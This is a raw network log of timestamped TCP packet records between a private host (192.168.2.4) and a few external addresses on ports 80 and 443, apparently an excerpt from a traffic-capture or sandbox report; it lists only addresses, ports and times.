Oct 31, 2024 07:14:34.465100050 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.465111017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.465140104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.465145111 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.465145111 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.465166092 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.465177059 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.465183020 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.465205908 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.465229034 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.465239048 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.465248108 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.465262890 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.465270996 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.465282917 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.465292931 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.465306997 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.465318918 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.465344906 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.465358973 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.465370893 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.465393066 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.465403080 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.465410948 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.465414047 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.465424061 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.465451956 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.465536118 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.465598106 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.465610027 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.465619087 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.465656042 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.465672970 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.465699911 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.465711117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.465735912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.465745926 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.465756893 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.465758085 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.465768099 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.465796947 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.465816975 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.465823889 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.465841055 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.465851068 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.465862036 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.465887070 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.465898037 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.465904951 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.465909004 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.465944052 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.465959072 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.465970993 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.465986967 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.466013908 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.466025114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.466031075 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.466032028 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.466062069 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.466115952 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.466126919 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.466147900 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.466160059 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.466160059 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.466169119 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.466171980 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.466181993 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.466192961 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.466204882 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.466218948 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.466239929 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.466258049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.466268063 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.466269016 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.466288090 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.466321945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.466332912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.466351032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.466358900 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.466358900 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.466363907 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.466403961 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.466412067 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.466434956 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.466449976 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.537617922 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.537693024 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.574584007 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.579423904 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.863008976 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.863034964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.863049030 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.863054991 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.863061905 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.863074064 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.863100052 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.863111973 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.863121986 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.863133907 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.863146067 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.863158941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.863185883 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.863198996 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.863209963 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.863221884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.863260031 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.863260984 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.863260984 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.863260984 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.863260984 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.863282919 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.863292933 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.863301992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.863333941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.863346100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.863358021 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.863368988 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.863379955 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.863408089 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.863419056 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.863437891 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.863456011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.863482952 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.863482952 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.863482952 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.863482952 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.863482952 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.863482952 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.863482952 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.863498926 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.863509893 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.863532066 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.863554001 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.863567114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.863588095 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.863588095 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.863595009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.863606930 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.863617897 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.863642931 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.863653898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.863661051 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.863661051 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.863672972 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.863707066 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.863723993 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.863729000 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.863735914 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.863760948 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.863797903 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.863797903 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.863806009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.863818884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.863831997 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.863842964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.863874912 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.863874912 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.863893032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.863903046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.863919020 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.863926888 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.863938093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.863949060 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.863962889 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.863974094 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.863976955 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.864010096 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.864051104 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.864115953 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.864139080 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.864166021 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.864180088 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.864190102 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.864197969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.864223957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.864234924 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.864236116 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.864254951 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.864269972 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.864295959 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.864353895 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.864365101 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.864382029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.864398956 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.864411116 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.864412069 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.864423990 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.864451885 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.864463091 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.864470959 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.864470959 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.864475012 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.864500999 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.864504099 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.864511967 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.864525080 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.864532948 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.864547968 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.864557981 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.864573002 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.864583969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.864597082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.864608049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.864619017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.864620924 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.864620924 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.864629984 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.864640951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.864656925 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.864675999 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.864773989 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:35.482146978 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:35.482191086 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:35.487062931 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:35.487077951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:36.267904997 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:36.268003941 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:36.557107925 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:36.562016964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:36.847624063 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:36.847673893 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:36.847686052 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:36.847821951 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:36.847821951 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:36.850769043 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:36.855583906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:37.140925884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:37.141076088 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:37.152822018 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:37.157665014 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:37.934731960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:37.934900999 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:37.961258888 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:37.966043949 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:38.251727104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:38.251841068 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:38.258932114 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:38.263798952 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:39.046547890 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:39.046691895 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:41.217789888 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:57.338562965 CET	49762	443	192.168.2.4	20.12.23.50
Oct 31, 2024 07:14:57.338632107 CET	443	49762	20.12.23.50	192.168.2.4
Oct 31, 2024 07:14:57.338716030 CET	49762	443	192.168.2.4	20.12.23.50
Oct 31, 2024 07:14:57.339071989 CET	49762	443	192.168.2.4	20.12.23.50
Oct 31, 2024 07:14:57.339103937 CET	443	49762	20.12.23.50	192.168.2.4
Oct 31, 2024 07:14:58.180533886 CET	443	49762	20.12.23.50	192.168.2.4
Oct 31, 2024 07:14:58.180603981 CET	49762	443	192.168.2.4	20.12.23.50
Oct 31, 2024 07:14:58.184878111 CET	49762	443	192.168.2.4	20.12.23.50
Oct 31, 2024 07:14:58.184894085 CET	443	49762	20.12.23.50	192.168.2.4
Oct 31, 2024 07:14:58.185138941 CET	443	49762	20.12.23.50	192.168.2.4
Oct 31, 2024 07:14:58.194175959 CET	49762	443	192.168.2.4	20.12.23.50
Oct 31, 2024 07:14:58.235354900 CET	443	49762	20.12.23.50	192.168.2.4
Oct 31, 2024 07:14:58.473022938 CET	443	49762	20.12.23.50	192.168.2.4
Oct 31, 2024 07:14:58.473046064 CET	443	49762	20.12.23.50	192.168.2.4
Oct 31, 2024 07:14:58.473062038 CET	443	49762	20.12.23.50	192.168.2.4
Oct 31, 2024 07:14:58.473237991 CET	49762	443	192.168.2.4	20.12.23.50
Oct 31, 2024 07:14:58.473279953 CET	443	49762	20.12.23.50	192.168.2.4
Oct 31, 2024 07:14:58.473416090 CET	49762	443	192.168.2.4	20.12.23.50
Oct 31, 2024 07:14:58.474186897 CET	443	49762	20.12.23.50	192.168.2.4
Oct 31, 2024 07:14:58.474234104 CET	443	49762	20.12.23.50	192.168.2.4
Oct 31, 2024 07:14:58.474261045 CET	49762	443	192.168.2.4	20.12.23.50
Oct 31, 2024 07:14:58.474280119 CET	443	49762	20.12.23.50	192.168.2.4
Oct 31, 2024 07:14:58.474311113 CET	49762	443	192.168.2.4	20.12.23.50
Oct 31, 2024 07:14:58.474931002 CET	443	49762	20.12.23.50	192.168.2.4
Oct 31, 2024 07:14:58.474987984 CET	49762	443	192.168.2.4	20.12.23.50
Oct 31, 2024 07:14:58.477974892 CET	49762	443	192.168.2.4	20.12.23.50
Oct 31, 2024 07:14:58.478010893 CET	443	49762	20.12.23.50	192.168.2.4
Oct 31, 2024 07:14:58.478038073 CET	49762	443	192.168.2.4	20.12.23.50
Oct 31, 2024 07:14:58.478051901 CET	443	49762	20.12.23.50	192.168.2.4
Oct 31, 2024 07:14:59.905375004 CET	49763	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:14:59.905397892 CET	443	49763	13.107.246.45	192.168.2.4
Oct 31, 2024 07:14:59.905487061 CET	49763	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:14:59.905771971 CET	49763	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:14:59.905783892 CET	443	49763	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:00.640010118 CET	443	49763	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:00.640079975 CET	49763	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:00.641603947 CET	49763	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:00.641608953 CET	443	49763	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:00.641841888 CET	443	49763	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:00.651778936 CET	49763	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:00.695329905 CET	443	49763	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:00.875740051 CET	443	49763	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:00.875767946 CET	443	49763	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:00.875787973 CET	443	49763	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:00.875844955 CET	49763	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:00.875855923 CET	443	49763	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:00.875866890 CET	49763	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:00.875900984 CET	49763	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:00.894999981 CET	443	49763	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:00.895015001 CET	443	49763	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:00.895083904 CET	49763	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:00.895092010 CET	443	49763	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:00.895138025 CET	49763	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:00.993109941 CET	443	49763	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:00.993129969 CET	443	49763	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:00.993277073 CET	49763	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:00.993284941 CET	443	49763	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:00.993340969 CET	49763	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:01.011399031 CET	443	49763	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:01.011414051 CET	443	49763	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:01.011482000 CET	49763	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:01.011491060 CET	443	49763	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:01.011531115 CET	49763	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:01.012850046 CET	443	49763	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:01.012865067 CET	443	49763	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:01.012918949 CET	49763	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:01.012926102 CET	443	49763	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:01.012967110 CET	49763	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:01.109787941 CET	443	49763	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:01.109812021 CET	443	49763	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:01.109901905 CET	49763	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:01.109909058 CET	443	49763	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:01.109966040 CET	49763	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:01.110277891 CET	443	49763	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:01.110295057 CET	443	49763	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:01.110354900 CET	49763	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:01.110362053 CET	443	49763	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:01.110399008 CET	49763	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:01.127985001 CET	443	49763	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:01.128001928 CET	443	49763	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:01.128067970 CET	49763	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:01.128074884 CET	443	49763	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:01.128114939 CET	49763	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:01.128894091 CET	443	49763	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:01.128909111 CET	443	49763	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:01.128951073 CET	49763	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:01.128957987 CET	443	49763	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:01.128982067 CET	49763	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:01.129004002 CET	49763	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:01.130286932 CET	443	49763	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:01.130301952 CET	443	49763	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:01.130356073 CET	49763	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:01.130362988 CET	443	49763	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:01.130402088 CET	49763	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:01.131270885 CET	443	49763	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:01.131284952 CET	443	49763	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:01.131340027 CET	49763	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:01.131345987 CET	443	49763	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:01.131385088 CET	49763	443	192.168.2.4	13.107.246.45
